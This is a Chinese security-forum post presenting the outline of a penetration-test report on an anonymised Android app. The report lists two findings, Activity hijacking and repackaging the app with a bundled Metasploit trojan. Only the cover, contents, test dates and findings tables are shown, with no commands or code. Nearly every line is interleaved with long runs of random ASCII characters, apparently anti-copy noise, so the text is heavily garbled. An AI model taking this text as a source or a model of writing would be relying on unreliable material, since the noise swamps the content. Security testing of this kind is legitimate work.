中国网络渗透测试联盟

标题: 原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞 [打印本页]

作者: admin    时间: 2022-6-8 20:32
标题: 原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞
7 U; U5 h- u, c/ S7 i) Z ) o8 O* k4 G+ g/ O( U4 S* ^

* j* d2 k7 N$ J( ]6 i9 ^ ' B3 H& q6 z4 J% R) _
/ L3 m8 Y" c& v" w- Y 5 ] x3 E7 S0 c, d( d* c, q( D

; N. p" ]8 Y7 \' X+ H7 J , D, V1 z B% ]9 C: I
/ U# Q. e7 M. c& H& ] % R0 j! I7 _( \4 W. l

% `3 ?, N2 w! N! B" \- Z% s 6 j, R% x! m- I. ~9 E e 文档编号:                % [ t4 Q$ q$ z; e# d8 | % o g2 { Y0 G0 ^$ n

/ Y- V% M( Q" L& v3 ?! a9 m1 d & I( [: o8 @% p7 c

! p9 B2 @/ m8 a5 o" P 1 k4 _( A0 Z# e3 G$ h   9 S& n& p# s& c# _0 z+ j7 @7 U0 G: Y& b2 i& ^( C! Q, i1 @; x; a! n. V

! G7 I* q; j0 s3 h & x: w+ _4 S# d4 l8 r

e) [4 t7 j3 K. H6 _% L7 d6 w4 R* J( w   , |6 T" h7 a0 I z7 r; N0 k6 O* o$ O, O

0 W& c4 ?) E5 N9 R9 @- ?3 ] . d: i% {8 h8 e) E$ V& t' o

# R+ l/ E$ r% y+ Y1 Q& Z $ ]% h" X* N, {   3 @* m: }7 c- S5 X$ y7 W/ N6 X$ }

+ X9 [! \5 [0 J" X. n6 _: r/ a: x$ q5 d# N; k7 [

6 _6 y4 ?, e4 L ( O+ Q% A9 a2 }) o/ V   ) f* n! y* _- G. z + m$ ?9 C0 v% i4 p

% E Q; h5 e, T w4 \ _1 ^$ W8 o: X" E+ B0 \* V

+ e5 [8 ]8 t2 D 3 [, ^8 B% b1 [: e   ' ?% F) h, h! ?' L+ K6 C* R: e - [' p& d. i7 }3 a

8 F4 l& a5 M9 l9 ]" r9 s" M 9 E9 L+ e* t& f, D# X5 x1 R

( u9 D# i6 r# |9 E 7 z. B: i& H3 d( X: j8 _4 I# U 某某某APP渗透测试 ; @$ `3 L7 h {9 r 7 Q& v4 @9 O: d) T; o: n. ] ^

1 U# Y A9 x9 l* |& j 9 F' q/ F7 a; X1 p

" e1 @6 ?- b. D- v * @9 U% e+ V6 i J& I   U( F U: ` \- d' a, g8 Q1 k% c1 F2 w4 N& I

5 J2 E* s# Q9 k! |! v) D 0 J' O% w/ i! u- M, `

0 }+ H; U$ Q* n# \- s ) P' X# m2 T! {' W7 q6 V9 M8 m1 I8 l   7 p( O6 ?' I3 J1 \! O7 O 3 q2 h. _; v) f! o1 Z/ \

4 h* [# n0 F9 c, @ " r+ J. b0 l. K {2 E! N0 W- [! D

; O/ W# {* W% l9 I0 k5 _8 ]: p 3 ~$ @, ?9 i7 w1 V( }2 M   ; R# \7 c7 I- R! D( } ] 0 I; S. }% O) Y

?- u% O) b. X/ `- [- O3 l% A8 |& d8 R; f _8 h! f' k, V% F

; z5 Q, L( f* b+ T% T5 L 8 f; _) O4 Q' z9 ]   # |9 j# n# q. O, E5 J . L# y# e" Y: r; c

# `6 V( m3 |# ~, K , q4 J2 B2 P# D' p! J. l* t' b; V) z* T

$ a* O/ M" p( p0 d: f) X; u1 U. T3 w5 a% E% p# B, a 技 术 报 告 ' k" e/ P# ^6 y2 |# C p2 @ " F- q( ~- P; k% L5 Y0 }9 D3 O

$ u2 y z2 |" R( a/ \ 8 R, U3 I' y. D7 G

5 [6 `9 D) ^6 E* P# Q , U7 y" f" q; e9 x6 C6 c+ [6 W   % v# h" Y9 A |4 @: @ : l) ?1 t: `0 e: R! b+ O

& Z( v: L: e( N9 a+ ~, I* k5 q , s" u& }" Z$ g! u+ |

& X1 y+ N T; d! P% P- e& N % M) N, j) r) ?* j6 ?   & z e! F# m$ ~& Q 5 y$ D& z" [; ~- ~; {

$ S& @3 ?# d# ?# E) A $ |' U8 _ J9 t% y8 }; m

. m I# K* ~" {$ s8 Q! D: R 4 n5 M }/ X. u2 k* s5 k; s5 S   ; j/ M) r. T7 ?6 M3 i! C' X [! y% E: p+ q" V

9 Y' }& l2 x# I8 H * B& F' S' K- y; e. V

: |! ~: V& m5 [7 ~ y) j$ ~ ' {8 Y1 P Z5 ^3 q/ L   6 I* m6 l, ]5 b: z2 \# |8 D & _5 o& `- W2 q9 ]# i# ]

& {" V% Y8 ^' n( f. T# D ! D, T3 V5 a" M' V/ M

7 s0 g' p# i' |) _3 H4 \2 L# d , `5 h6 @" X: [   * A" K- f9 [% z: M) o. v 5 G" P. k8 D1 n8 {: `0 E

, B8 C% M# ^. H+ \ 6 A0 A0 V, ~9 [, T5 ~

! C4 H. v* h d$ q" s : ?8 D s$ }1 U: B. r$ S- @   6 U. J1 C/ x+ ] 4 u1 {# L9 ~& i! e5 i8 E8 }0 n2 x. @. l

2 V$ M" f ]* c" v6 W) _ - @3 j: E6 w* V- S

! ~2 x/ |, B( ^. D# l. d * W ?) h! Y5 ~ w, i   9 [0 `: f* Y* y+ e: |2 C, j+ ^" x% [& I- }9 p

: m6 b& D9 Z+ Y( c9 U 6 I3 p( U7 |# w$ j

4 X+ t" K6 K3 z0 I ' w/ V3 y% j* }7 [   0 ^# L, ^# |5 r$ u% G9 d8 z L 7 X- i8 g8 q1 _" n7 N! {

: E3 n7 f0 z- K- U& N; Q & X. ^( H4 Y# }9 V" V* f" k. `

. x4 H, M2 P* g1 P2 ^! n/ V h! z. ^- U) e ^# L" T0 ?   ; Q; o9 h* d5 c* `/ ^; ^1 l5 ^ X0 a5 W$ _& C; L5 o

, A% V- W: J" y {# x! W; h( e( d3 n$ W; e8 n( p

% H" P7 j1 u' t1 J) v1 _' g6 h i( s' J5 W( s" e- O6 Q   3 p; x2 i3 ~1 t# D- o 7 Z6 s' i9 e6 r8 J; q

: z% h, W$ f# O4 n3 @( t2 ]0 B . H0 k5 Q y$ Q4 C; r* w# q

6 F# C( U; ?( }8 D6 F Z' h ; ]* N6 k# S+ @7 _1 m- s: q   # Z, e! T W6 m2 g4 X% x0 r, j2 |" y! L) d

9 b8 w" s/ F: s : \ S7 C4 |6 @ m6 s

. t* R- ?0 u; T# j ' B) k& y% Z# Y0 u) H/ K   6 {& G3 l( k) x2 c& }! _/ v + G. v+ _, k) i8 H

& g% d9 |: w7 R+ ?3 P ; x& v& G4 B% [1 {8 ?. [9 S4 L

: ]1 q; e* r. _ 8 [ V. k6 R2 d& G+ ]   % @# B6 D* `: p' r6 {; s, H! |2 m) E

5 _- [* y# _8 }/ c% O2 F2 d) E# P$ e

2 `3 N+ ?9 C& z9 F1 m% W: H- E* z4 h( q7 W   & x( p9 e, r j/ W& h ; s" c2 _) F. a. l* T" Y g

/ D: G. B. g- J, q. d* [& C0 k; p) S2 ^# E3 Q D" X9 ^

) f+ T( C4 e; f9 j8 u1 I- i2 M3 w! B/ k% \8 \   : k1 v: a- _# w' E) c" P8 i 8 W; W% W# f( n. I& m5 l" }

* i L- P! E; M( B 2 W2 z9 T$ ?. f! P% h$ y

( V6 |3 W8 x/ b. K5 c $ K' M) |; M" y5 }/ g" t5 X   * Q5 ^# u* ?0 F& e7 @0 ` 9 W9 _& V3 |/ @( ~! d9 E `. L9 ]

* L( ^: u0 V6 s3 i * n) m$ p7 h- K! S; G# i1 T- `

C) ?; D/ X4 L+ e ]4 p9 s- S( c3 z& g/ Q8 m   0 I: y, Y8 C9 }5 J, w1 O 8 e1 o: t0 b9 Q9 A, Z

A% o' \% `. |) k' R9 l1 J . ?% j8 y0 O3 a

) A% g8 s3 m9 k& w7 V7 x1 R% y8 L " B1 W" f+ y6 z2 R; q. h   ; L/ t0 s' ~4 A/ h . X1 s! N) c ^+ A! y1 X

/ m$ Z" W" P* ]& B: L4 M% p 0 U, O3 _) n' ~

; q: T( Y" F% @8 ^; X/ u4 ?) D7 W: H5 e 二〇二〇年 8 }% W N, p4 m 9 E4 P" U- U* B2 P, T' _# \

( ?- C! _$ {, d3 V + I1 a. L" y+ I" K0 B8 H- T5 Q
+ B4 d# }4 E+ l9 \! a9 K# [7 Y7 u' O9 E8 N' @
~6 T: @- n# |; f0 E! s 8 H, j' e7 Q, J" b2 Z" }
4 |/ [9 ]. k; K; I 1 q2 j! p* S8 }: u( R
$ M% L# R D* F. g2 k$ b' E/ b6 c5 j) i6 I, K$ g) p) k5 {
2 M0 L- b& x+ E3 |* C! k+ r6 L - G' Z! g. }' y& w' u2 `
# n: r: \2 O0 ~8 o- b# M3 i" k2 _9 J4 e1 `: h
6 T# g/ r* H& _' k8 ]* J ! a3 ~1 k+ ?) M+ @" }8 H) q9 ?
; s0 k, \+ I0 [7 h 1 h2 a- ^% z. ~3 L

! @& U! X; c& }* A. ^ 7 ~5 K; y4 c {) ~ 目 录 v* n3 l; ]. j1 i' U/ y : v! G. E2 f9 ~$ o+ g

5 j; ?9 \: O; `. t% S+ Y" ` - W2 ^ h6 t+ s , N! Z$ Y& l6 b$ G8 E" A2 A & H& Z6 Y( E8 n* W) F* V9 x6 h

4 i4 A- ]2 F" |" J/ q" M4 j- D* {: y' t6 Y   # a/ e7 u1 t9 Q - I) ]' j# N- z

; I" E# Y3 M0 B5 q / m" x1 \: ]8 \9 k: I6 P

D, [) o! I# n1 M6 e3 s: I 9 W- z% O) c5 l( ~: A+ @, p 1 概述... 3 # q1 v1 c# t; t9 e0 S2 @ 6 ]# N8 I, Y( o: \- c" L

& O) I( p, t* p6 v2 U" Z4 c 8 R, V& e5 _2 W) l* T& g& X) o

0 w. q N- c8 i0 g8 \- O1 i 3 ?' T X3 A( Y/ L1 j 1.2测试时间... 3 3 W/ N J7 U& x! q- s % q8 {& A4 A' ^% [

1 ?0 H4 U! K$ ?8 c$ |* z3 { F 5 r( f. n. s6 Q% l6 l# @1 O, F

4 n- I; N, H/ ~5 M) a8 E . M F/ ]0 S, o 1.3测试对象... 3 - q1 a, a0 h* a7 q& Q0 k + P9 g$ p: x9 r4 k* z( }

( v' f ^) K J. B $ o/ a& j( z8 N% f a

/ H: X7 M, S8 |8 o1 N7 }2 ]+ U8 Y ) N, g3 k4 I( E! X% }- s3 A 1.4测试结果... 3 9 X! l( f- P6 e7 e7 H1 v# ]& H4 q ' X9 E- n( d5 j$ M6 s/ m: E

. k6 X2 O+ U4 m$ j, `& R" w% ?) F8 b5 p. M0 C) ~

) }; L0 E7 T6 C 4 V/ Z7 b! @. \: v. u$ \5 v 2 检测结果... 4 1 l) R. f$ S/ r) _/ L ' |8 U. T: F* z/ g

, e* @/ [5 J; i# A% Z6 ^( m6 r2 F' w5 h% L# Q, {. L$ j- @

5 R" @9 b5 y! X% g$ ^! Z , m; x+ A; B1 C 2.1 某某某... 4 - E4 J. {2 y2 C% L) R& `/ r$ G( ?- \- w# l

0 N4 _- }7 E) T! `8 S5 b1 \ - p3 ?1 J3 s- y7 _0 g5 y' a5 {* }& k

/ s0 _5 o& p# i& w, B 3 x' F3 x3 y4 W 2.1.1检测目标... 4 & f6 m w Y1 x5 F ( T' h$ q/ i+ k- H& g6 Y

, d) V- W/ V6 z0 [7 i. t; r+ W ) y! W: ]* v, ?% s

) g/ R4 i0 y7 _+ ~& l7 p1 V 9 o3 L3 _: m8 \! O 2.1.2检测结果... 4 $ s1 C$ q9 s5 Y7 G# p% H / q0 z; }& H& Z$ T% [9 @5 X" q

/ [- Y4 M* e" ^, i6 V $ S5 `% U. \6 l k8 r

/ u6 L: f, u& t# u ; p; b6 }0 U9 j8 ~: m 2.1.2.1. 4 $ C( c: v3 Z1 g6 a & t- c1 U- c4 e' i

, P& [4 U: U( g t% g' ~4 ?- F$ Q0 D& M! {! x2 k3 ^; a

: j3 k3 X" P. k& D# C t, g9 J2 W) c* v" E' b 2.1.2.2. 6 , W5 _1 S y4 J M) D3 i9 { * J! O" M6 V" J+ { P/ _

% n/ G' s% F2 ?3 Q; Y% U! T* b6 ~. x0 N . C, r8 S, h p

3 u% {, g* F! m" p 4 G8 Z! P. B# C! i( @2 W& b ) D& Q% n2 U2 C, }# e' X" Y 3 W. [' R3 ~7 {" q

, G, c5 V& H0 M* M4 S* \% A( M 6 w: M5 h4 H0 {! L, E _
/ R4 \3 d( C2 q1 P; s/ z , K. A |) x3 T" M% j
6 `* [, g$ Q7 y0 \' l$ d; _; \/ U , f$ j5 x" b/ ^+ r2 h8 v, n+ L
9 V1 n! p" M5 _$ _- n * H% d3 `9 }4 J4 V, Q( k
* d! K0 r) p! V5 w! Y) e* T$ k* u

) S( \2 d* U- E d F/ E H( _# w [0 A 1 概述 ; }8 E& y' k7 B$ ^ ( E( o# `% w# t b

- ?, _' m+ q2 m# q& l) t- C, ^+ w + v8 c# X7 B8 x& C

7 A* Q8 I4 r( X* R; j6 G5 ~5 u7 R0 G- Q. _2 b 1.2测试时间 $ f, c5 P5 N0 H$ M; W / \& j( t" X+ q H J4 ^* X. N

: d8 k/ L7 t# ^, E7 G D6 O+ }* D+ G 1 k; L/ p$ m& {3 k4 G% V 2 u0 M% }7 _9 s- Y7 v7 r6 ~1 L l5 r8 _# K( |, M' a( l& C: n& j( {3 |2 ^. z7 o4 k; `9 Y; V5 H: t9 l d$ o" H' M2 Y4 D3 n& }; s3 u3 f: k5 N( L6 n8 i0 ?. x# P- C2 q7 ^/ u& ]- O& a) E9 q5 T/ l7 f% p. r1 u* L) D' Q4 |) B7 [1 o! e4 u& h7 a6 X% w( M5 k l/ q. \* D" i6 p& f- b, J/ l! k/ X( ?+ t+ H m/ k2 |0 O4 `5 W7 J6 z0 i) r( N; J+ j+ \3 e, r% V9 M% b; r) a' u: [7 l6 ] O G9 K- `! i# i7 {3 e% }; A' @ g: I$ M( c4 _0 j* p( j6 c$ c \! p9 D- u! u6 y) {% C# D8 z; w4 c. W/ _* _& ~( P4 l0 S8 X1 _/ t: `7 ]0 m5 X! _/ A2 O; H3 ]: ?1 F6 B8 \; b% A: L/ w) L& c; Y: s. _4 ]4 m, N! l' {: p& }5 ?- r* b! ~6 B/ c8 y f; t6 u5 c% ~, Q0 q) C7 C) F( [$ @& Y0 m' V( T) [) ?
O5 n* U. u. U6 e" H0 X$ g) p/ k

9 ]+ J) m. f/ C3 p% b" \ & q* ^- d* O0 Q. g! Y$ g) ?, ?* _ 渗透测试时间 & v0 W" `. y% f- ~& M Y& x$ \7 b" t& e. h

" e9 {+ l2 x; `3 |/ X1 T0 D4 A3 V5 y7 ~6 j7 R
: B" F3 E) x% q5 j0 h% n" M5 `! m `) C

- W1 A$ q! L* ~% W$ k. R4 v* d: s 起始时间 $ \9 \$ G4 K' c x 9 D, A' k% k' a) `1 U W1 Q

6 }8 x" C7 r) { n% a - w/ @6 }+ f" Z, a$ j# [
6 ^1 y- D( l# L# r8 r& b 6 H; m) i6 W! K; o: ~" u) n+ F; F

1 ~5 V- F) S! G) V0 _: w: `( V 0 G1 J* X: G7 T; }+ Z 202046 5 |' E& T5 `! i- {5 q+ R7 g% Z3 d 6 t; e$ |; B3 W( V3 ]' p

+ w+ M# s$ Y4 s/ K; B : y2 W$ v: A, M2 M: x/ l) q8 S
' y7 I, R' {, e: c! W2 F: V p# I; | B

( j" T3 _: x9 q8 i' I* H . [! Z" q) [0 V: z 结束时间 7 a3 w( c5 A4 [8 q$ }( O8 W 6 }, I }1 b, u

1 c1 a4 P. F( D { Q; T! `7 q( F ( ~) V2 L, y0 U) Y
2 ?# t" W, k. o3 z0 E, [/ v9 G+ j9 l! K4 L* z+ a: e, O

5 Y4 i: I- w/ p% r' W 5 d' G: |" R, k, D n$ m 202049 " r$ v2 p. E9 N 5 {( F% e7 w* z8 b8 c6 C- b

* P( H" ~% V+ e |! W l$ l' g; T . V9 F5 M- c9 J1 m" `7 N# C1 T2 ~
# g7 l9 F+ K" L+ |1 G" a4 u B8 Z' d : s" a3 G3 r- P* A/ K) Q5 {9 v& T

7 ?. \$ _6 \: ]7 _: T* O% _ # C* l% |/ U9 g$ p 1.3测试对象 ( P* I' L, h% F. ], D6 i7 p# y 7 K' w& w, A6 K* U7 J f

5 |& S7 n3 z4 b& M, E ) k# E3 D; n" {: n/ d& [$ l) c

2 g. u5 f4 s, X# Y, ^ . ~# @1 @+ O; ?- f) t5 k* ^ 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: $ a7 ^1 X3 a! A e+ B( a( I. s& P ! }. z/ B. Z" z( P/ \

% z8 |* k. u" M / c, f: n* l# ^8 Q: z' l1 `4 ?- L

# T) o3 v2 B" C8 O( k! a* _ 1 u7 `. i y0 D& s3 r 1-1 检测对象 2 `' A! g% x8 b. e( G+ j& c) Q 1 t2 X- b' e- }) L: u+ C

4 t7 T, `# [4 L# s/ H7 s % E3 l4 }* N/ a. n g 6 _+ x/ q. i# Z$ l3 l" X3 l* S _2 l2 R; Z3 A) {& b; J* ~& [* Z1 X2 y; L% E) t' {2 G; Z4 W" Z3 R) j* c4 y* E$ x' c# o6 w& P. C, Z7 E; z- c* S! H8 V9 [8 g3 T N/ a* X: y6 \, {7 l+ K7 `+ o: l+ w- ?, p/ B$ c- Z4 Q! Z' N6 @6 T0 J1 Z* e" }& ?7 M+ w$ P) o Q2 V. y* O( y% W2 w) r9 b) A9 s' N' {4 p- [: C! D7 i5 h3 a! Q! B3 f# ?% V1 c. R8 q- ?1 }' z6 b) x9 O) \7 j9 u) s1 D- G0 W5 ~( z: o: k( p3 _0 e5 s6 j0 p9 C5 {# N3 ?6 Z9 d, t% B4 k) ?/ }4 M+ i# [: n) \. t- I/ m- |: R) ]9 ] j/ Z1 K- j; s% C p F" w/ i2 m" Y) V2 Y$ n6 e7 @% H- u! f e R; |1 q# E" c/ `7 i* R7 C+ j6 B, w* x5 e% n8 T: U$ i; k* }+ R' O7 E! {: T ^& Y ~2 U+ u0 a8 ]5 n) c: _; T0 S. O* y. `3 z: B. N( W& q& C ]6 ^- j8 f& `+ g# t1 Z6 ~6 y) i+ m6 I6 C2 H0 a# y) X# K$ P2 Z) x
* }, d4 B/ L- f6 n+ ]7 ` * c, i1 ^$ k6 S& c S

$ P' s, w. _0 R N # U3 z+ z/ D( G6 ^, h# n 序号 7 ?+ A% a, k8 B5 v $ @, m4 X" S Q- O, N5 W- a

) \( D7 P0 j4 { ' w. @. p# W' f4 B7 S6 w
1 z. U0 }. s! ^2 E; q9 x$ ~7 n) r' j$ r, W

0 }7 B4 j( j; W4 X) y 9 J) H2 |& b+ v i& w 测试对象 ( }; P2 v/ D/ Z0 @+ x- v 1 x+ ~& `% F R2 C

2 ]0 p0 F4 `0 a, @8 j4 S. h 9 ?. Z0 g4 A' j, M
8 M" I% x" m+ U" t ( g6 a. h9 U6 M

! \$ x$ N% Z( o3 O \- O& ^+ l0 J- W : }- e( r. C# }) ]; {) l7 n 测试地址 3 m r* N. V# v ; P$ L, ?! W; x( w* F- M

' `+ v0 P4 }$ C9 i . S8 U- d: ~) A: y' e+ A
& |( m8 m6 {4 ^: _5 ~ ^. g 1 Y( N. j2 `$ k* o9 |

4 w9 g; K0 \! j! j 7 I: P2 h. [7 N |8 I! m, V7 { 安全漏洞 8 r! K4 A1 \- _9 L! H! N2 }. m - Q+ W8 s9 Y' X' k p

" D% L2 ]! u }) r3 P9 g 1 y/ Z4 r" \+ S2 T5 |& m
9 ~3 l6 a+ p% n2 k $ J y `' r% }+ i1 G5 H

7 K0 y( t8 r$ U9 A % _6 A$ o' k! ?: G p6 B 1 % }$ S6 S; K+ a. f( f W) H6 h* Z9 M2 V: S E$ Y {/ I5 |

8 ^, D, b" F9 v0 g( N9 y" i0 _2 M, N4 u, C$ I6 s
- c, y9 Y/ J: u; e . p' Z1 O( B7 o% B6 K

" q' Y/ w; \& m* I! t2 B G' P9 h9 G% I. W( y2 T; I 某某某安卓APP , b+ ^. ~3 _2 J+ k; g& r. k7 {" r% R

G t7 s6 ?* Z/ S2 N4 V2 n8 K, q9 B9 H& k6 R O4 G( K/ `
m- e5 f1 N) V S: D / j m; ~' T ~

4 S9 O% ~% n5 X0 k* V k8 H 9 F! H$ E T, Q- `8 v2 x6 e   1 f1 y3 B) `1 J8 d5 M5 _$ r + Y3 c# i5 p' f% B; U' h5 n

: C( C7 ? K/ q: p' C ' Q0 R! u0 b1 x5 i9 ]
5 v" z; ^3 r. M' G3 b+ E 8 K6 O6 d2 E- h1 Z

$ w2 _- w' c8 d- ]7 H% l- u% }# t, t7 T5 ] 2 * P. _0 A2 S, g- _) b, j4 A) } & e' f( B9 r9 v' I; y' T

% d5 P4 _% f8 @; w- y$ y! }0 \ 1 e& w) y% s, O" b/ m% n ?7 d
# O' K+ d" h$ ^! I2 H X5 G9 k$ k / O( r/ C3 ~; x2 F0 d

4 C ?9 H: Q1 Z+ t9 V- j! z) R- A8 o 1.4测试结果 5 ^% u( y) y0 \# ?# b! c: x3 N8 |5 V1 t ' X! K3 d+ `) d) K) X3 h6 o8 _

& V! J& ~& {) J4 `4 p1 x- M ! P8 U1 [, J8 D$ o

& A- Q# ]( o& O" D! g& u 4 h$ ]) h6 i& I/ {' u 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: . v" l A! p5 N- i) m5 F6 y) S) T7 J

* Z: i: L2 Y+ ` 6 m; n& E- e9 L5 |6 s

b( g6 r3 H" t7 \3 G" j' `+ w% H- Y1 n% h1 R6 Y; Z   $ w2 z5 y- U l1 b a0 |) ` 5 P, X6 H" Z/ O5 {: B+ J

/ [+ R0 s8 b" @" i# ^ 1 O$ G. @" Y1 E/ ?
`2 ~0 i- k% B. A" R' m ?( {; \* }. ?% K9 m; T' U' B8 Q & x& O# y+ ~9 ?: e+ Z& K1 j( p" ~( B- Y& d+ o7 L. Q* o! }* F& t2 p0 }, z8 m& U9 Y8 s1 i: w5 X- C3 F2 `& V6 |" v$ v5 ?* _+ t- P8 j4 L2 ?" l! q6 O6 I. Y9 M0 |2 L/ X t: F+ I: A$ \4 X: K( W8 i' Z, \; h+ ?3 j9 s; C: h" P% I3 w$ N3 l; b7 W B% w( O# R d: F2 F5 E+ B3 {3 P8 i; }% t) p9 b! R4 C0 ~) h) P O, A0 Y" k5 R/ z: y- U8 p0 P6 d2 C# Z8 C$ u- L+ B) H7 |5 s0 E1 I. ^8 T" `+ p( d; H+ F1 e+ L' {6 ~/ q; s! I& ^) }6 H# z" S$ I7 U% Y% K6 W, y! I1 R. c8 A7 ?. e2 n0 n: d# d( e$ j) m+ [3 D5 C4 {6 h6 ^; x& }4 i* F- O" C2 x: z( l, f0 g8 M: _' m& x* Q# O1 K" W1 c2 ?) Z) V# [/ B8 [) p% z: }5 ?0 Y$ ?0 D4 c# Y* o) j; n$ J7 i; ]3 B9 Y& ], ^8 P8 \! k3 o0 {" I; C4 D1 T P% o5 H% m( f1 n/ n" B) A* j9 [3 w, X% T0 U" e7 K3 ]0 Z) A. @- o4 Z- b5 q1 u& r' \0 Q* K) h$ N" i) S: }% y- A! _ t! ~' \: G! I0 w: u3 ~6 A( b5 ?% @2 r7 H6 U s( [; B; t% S7 N: m# [; @+ I& v0 ]- m/ L3 R+ Z2 W# g# `. ~2 `3 g3 {% R5 P% E/ S1 C. \6 Q' s5 s6 l: g m# L* T0 @2 m! q# \! @) b/ W" C: x% t' i9 N3 X3 g5 b* \/ j9 V f' M w6 L( y3 L- R8 ]" ?: t# i3 Q! p, f- q+ U) {. _: v) ]2 L2 e4 U% n( y- U5 r. C' ?! p) F7 n- h1 a4 O( ]: k& B
- ~/ G; `5 s4 I! G+ { 7 k8 q) }" N- K4 T

" h( t7 |8 I# U! u5 {$ @( n # n& y, w' m6 Y0 `6 @: Y- G 序号 ! j5 ~/ P8 K) m) Q) w& X. f6 Z8 I# k: O: A

9 Q3 W. i; I9 c : R; i) \ w" f6 j5 S" y6 Y3 M
& O- f/ q0 `" d2 ]4 c* e) L+ V5 h) U 2 k# `+ m* ?& \8 U0 R

. W+ Q# ~( A6 W2 N4 t" b- W) M; f2 V. w" B 系统名称 * p; W; ^/ V3 B* I - X; n7 O0 x6 }: Y3 s

) D9 F. e2 d, x7 n( M 3 S5 J6 C/ s/ A
( h: W4 J/ D/ B$ l A5 |% G% {4 X1 G & y% _& J$ i/ H; b$ y. M: @0 a6 Y

4 e: C4 i+ W7 K 1 f% Q2 J" \3 W3 i2 f' t) U; ^ 漏洞名称 ! \# G z! @* d. [" R l% F8 L! L6 J* E; _3 ^$ H

+ h/ k/ W" g* g, x$ j ; B- ]- `# s' a, d! r' {
4 L; _$ u1 z* u# n' ?4 Q( M8 v. k0 K" }! O/ r3 q

% F1 p- r3 L/ x1 Q5 q! l# @: Z6 h b2 M0 j9 H& N7 C1 z 漏洞危害 % c! J1 ]# G O6 U 0 `7 e' h& e6 [

' J4 C/ Q8 } n- p; [ # j; [ m" [8 l% }
% C. a6 D; y" i/ v' F , i; C. ~+ v. Y+ W, i; e

! j' ?$ x$ O1 u a7 P/ p3 _ ! V* f# M1 ~2 }& l$ Z5 c# X, p" J; M 修复结果 ( J2 @, `# h* P6 j5 v+ A% |. n / t1 i8 ?; S3 }- A9 K: J% ?/ n U

8 Y7 d1 d* g! H7 ?1 S 7 M' T' V) }% Y9 b3 q
" p+ q: N2 {4 N" y2 R- J' Z e5 r r* l$ P7 D

# R% L& Z, t: P( y$ r6 |; V, l( j: }6 I 1 , |1 I% H `" u. [+ u* S" T( p2 W0 ]( P9 V3 ?0 D) `

7 k$ ^/ R* V. q" R" b% r- Z* @& o! \& }9 h
6 ^( U% O, L; T2 }6 I 0 H8 M0 g# t- v& K! B

1 E/ A' f+ u" }3 a0 l2 ^& ?" G; q% O; \$ h% G6 k 某某某某某某APP ; E; ?1 Y7 T: c! x' E& f* D4 _ G3 r. B0 X: ]9 W7 z) Z$ Y( \% M

0 R8 s+ V$ }- i# W! k# D5 n$ ~ , a) ^$ Z( a* q* s7 e" C- a
- q5 V6 Q* z2 v6 M( k3 x# q) H3 i( N* O) z4 r

( o$ D4 z0 `, F9 w! K# M 1 y v1 ^2 u$ O6 p Activity 劫持 6 I* N4 s1 K# ]! A2 s I0 Y, V1 ^$ m3 O

5 U( C6 B& X4 A. c. P 6 L5 _! t3 M) H' N$ ?

! t8 E0 H/ h# Y M) m* i) N2 {2 ^' Q+ _+ p4 ?* C   , O1 C. k c2 q' g* } # ^# W+ h: Y. y0 j f5 t2 V. n$ T5 Z

0 h; K2 E) V# }9 g . U& M' M: R! b4 O# A! D4 R. S4 ?
* O* N. V; h( M# D+ p' q' _; { % E% A3 @' `4 H+ K, J S

/ a0 Q' [+ @1 [2 m2 X4 k4 n7 z8 l9 a) P4 j, Q: {! ~ 5 x! T5 j/ [3 f ^1 w& @; W1 D0 w

$ b2 ]" Y. L, U9 A6 }' m 3 T: ?: S1 k, f0 j- i9 R
3 @8 i, i9 ^7 K/ b' m7 | 6 l8 c; U4 P% _' O' p

5 u4 v, g1 V1 n ; B2 \; F& x3 Z% w, ~   0 l o, ~# `* k" e. w) h7 b& r/ |- M' D

1 M# M% p1 x A# C 4 }8 f$ I, a# i. s! o# S
$ @) ^! a: v- C4 f) O " ^7 d9 n9 v& @6 R2 J

/ u: l) C6 v; z6 Z# N 1 X: _. F/ d8 g' ]2 g4 E 2 7 |1 `: D* r. S ' m! C* D8 D) K I

& ~: X- g" z% G9 s - a8 i' U, t. E: H9 b$ a7 S; C4 d7 b
( I8 V. `" }% C/ l1 I( I 5 }+ l4 [1 ]" Y r

/ ^# |& k2 p# C$ n 2 s: e2 k% A+ }2 O) p c$ X J 某某某某某某APP 4 T/ H* u# A# g0 Q$ w* k7 T8 E 3 R: O, A2 C) y% \0 x7 U

/ H v( D& ~' y5 j0 y6 ]" b$ L4 v* U6 C( A y0 H
5 K6 I! f, k1 \9 [# l4 F8 M 9 i8 I! ^; R1 e& W; y

* F' T9 |$ M: { c0 i# b' X' X d* [' w+ o2 \$ G 反编译二次打包捆绑木马、篡改APP代码 $ C# z: g1 o, r% l9 G % D2 R2 i2 |8 \9 U/ r6 u7 v, g& ]

' {# k' Q. A+ U e * @3 _! Y" h+ q$ m2 m
9 m g: m0 ?. U ~ * H% S+ l8 d) r; A$ R, B

4 r7 }1 h2 R6 `; O 9 M% K( o6 `# _2 n $ ]2 _" s. ~0 {4 u }/ w# t X. q0 j% V6 Y9 S9 |/ N% O8 R" }& q; Y

1 ?5 Y) n. `' q7 }4 |" j0 `, K# h- [- p; R3 O/ m
6 ^0 o/ ^! ?9 @) @+ w# g5 e. B/ O+ n9 Z% O' W- x2 h

& y( @# s1 n/ z# _% D 7 s) F0 v) J4 p* ~, ?$ x- c   ! ]' v. A% |' E) F4 P: A8 ]: }9 K7 v" w

$ O1 z( F) V/ y i2 u , V, K& {" K+ D& E
6 h" F9 K4 m- _ 4 a1 s5 m9 N3 F( j. X# I- _
, z: b0 r: c: ` , x4 N7 _- b j8 l: l* k9 q" x

( P1 ?) W- N4 Z8 T5 ?* F# n2 Q+ c4 |- k' u   0 Q* ~: P8 s9 M. Q ! L* |+ t y) O3 W& q# R

; {. `6 }. x( A/ u. S% Z! c 3 x3 `- T5 u% j' j. ~. I6 F

( |2 h- E4 f3 C, N& S: [ 7 {) k$ }, T p0 i7 |8 [7 P7 { 1-2 测试结果 # ~: E* d. l C8 R + w6 D* u& S$ v( ]3 L

, s5 V( Z" H, r6 ?) d 8 G) e# w; G( R0 ~( X* M

" Y* |3 s$ A0 v& P5 d# _+ o4 A0 ]% ^" \6 R3 l p   x6 ~. K* I; R! R, J5 v $ W; u. ~7 ~9 B

1 Y. C6 D5 t% d7 a4 v/ k: f+ M# R# S# K/ H

